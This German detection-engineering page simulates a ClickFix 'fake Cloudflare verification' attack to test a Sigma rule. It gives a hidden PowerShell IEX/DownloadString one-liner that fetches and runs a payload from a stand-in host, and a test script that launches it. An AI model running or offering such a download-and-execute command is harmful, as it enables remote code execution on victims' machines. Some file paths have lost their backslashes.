Über 700 Bildungs- und Technikwebseiten in großer ClickFix-Malwarekampagne gekapert

Simulationsausführung

Voraussetzung: Die Telemetrie- & Baseline-Vorflugkontrolle muss bestanden haben.

Begründung: In diesem Abschnitt werden die genauen Ausführungen der Gegnertechniken (TTP) beschrieben, die entworfen wurden, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, genau die Telemetrie zu generieren, die von der Erkennungslogik erwartet wird.

• Angriffserzählung & Befehle:

  1. Social-Engineering-Köder: Das Opfer erhält eine Phishing-E-Mail, die behauptet, dass Cloudflare eine Verifizierung erfordert. Die E-Mail enthält einen „Ausführen“-Befehl:

     Gefälschter Cloudflare-Verifizierungsbefehl

  2. Opferinteraktion: Der Benutzer öffnet den Windows-Ausführen-Dialog (Win+R) und fügt die exakte Zeichenfolge ein Gefälschter Cloudflare-Verifizierungsbefehl.

  3. Befehlsausführung: Die Zeichenfolge entspricht einem versteckten PowerShell-Einzeiler, der eine bösartige Nutzlast herunterlädt und ausführt:

     powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"

     Da der Ausführen-Dialog direkt powershell.exe mit den obigen Argumenten aufruft, enthält das CommandLine Feld, das durch Sysmon aufgezeichnet wird, die wörtliche Phrase Gefälschter Cloudflare-Verifizierungsbefehl (der Angreifer setzt den Befehl mit dieser Phrase am Anfang, um die Regel auszulösen).

  4. Nutzlastaktivität: Das heruntergeladene Skript legt ein Web-Shell in C:ProgramDatacloudflare ab und kontaktiert einen C2-Server, wodurch T1505.001 erfüllt wird.

• Regressionstest-Skript: Das folgende PowerShell-Skript reproduziert die genauen Schritte, die ein Red-Teamer unternehmen würde, um die Telemetrie zu erzeugen, die die Erkennung auslöst.

  <#
  Simuliert die Ausführung der ClickFix „Gefälschte Cloudflare-Verifizierung“.
  Zweck: Überprüfen, ob die Sigma-Regel beim genauen Befehl auslöst.
  #>
  
  # Schritt 1: Bereiten Sie eine Dummy-Nutzlast (simulierte Web-Shell) vor – kein realer Netzwerkaufruf.
  $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1"
  New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
  Set-Content -Path $payloadPath -Value "# Dummy-Web-Shell – kein bösartiger Code"
  
  # Schritt 2: Den bösartigen Befehl konstruieren, den ein Opfer ausführen würde.
  $maliciousCmd = @"
  Gefälschter Cloudflare-Verifizierungsbefehl
  powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`""
  "@
  
  # Schritt 3: Den Ausführen-Dialog simulieren, indem der Befehl über cmd.exe /c gestartet wird.
  # Damit bleibt die wörtliche Zeichenfolge in der Prozessbefehlskette erhalten.
  $fullCmd = "cmd.exe /c `"$maliciousCmd`""
  Write-Host "`n[+] Simulierter bösartiger Befehl wird ausgeführt..."
  Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null
  
  # Schritt 4: Kurz pausieren, um Sysmon die Prozesskreation aufzeichnen zu lassen.
  Start-Sleep -Seconds 5
  
  Write-Host "`n[+] Simulation abgeschlossen. SIEM auf ein Erkennungsereignis prüfen."
  # Die Bereinigung wird separat durchgeführt.

• Bereinigungskommandos: Entfernen Sie die Dummy-Dateien und alle verbleibenden Prozesse.

  # Alle verbleibenden PowerShell-Prozesse stoppen, die durch den Test gestartet wurden (falls noch laufend)
  Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
      Where-Object {$_.StartInfo.Arguments -match "Gefälschter Cloudflare-Verifizierungsbefehl"} |
      Stop-Process -Force
  
  # Den Dummy-Web-Shell-Ordner entfernen
  Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue
  
  Write-Host "[+] Bereinigung abgeschlossen."